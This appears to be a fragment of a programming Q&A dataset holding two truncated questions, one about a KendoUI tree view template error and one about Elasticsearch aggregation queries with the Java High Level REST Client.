<p>Below is my KendoUI tree view, I am using templates to show edit link on each node, but I am getting this error: "Uncaught TypeError: Cannot read property 'replace' of undefined "</p> <pre><code> @section scripts{ &lt;script src="~/scripts/kendo.all.min.js"&gt;&lt;/script&gt; &lt;script type="text/...
1
1,101
Aggregation query using Elastic Search's High Level REST Client for JAVA
<p>I have a working cURL request to search an Elastic Search index with <a href="https://stackoverflow.com/questions/60554841/aggregation-with-keywords-in-elasticsearch">an aggregation query</a> As desired, the response includes a list of values for the specified aggregation field and the count of documents that match ...
1
1,406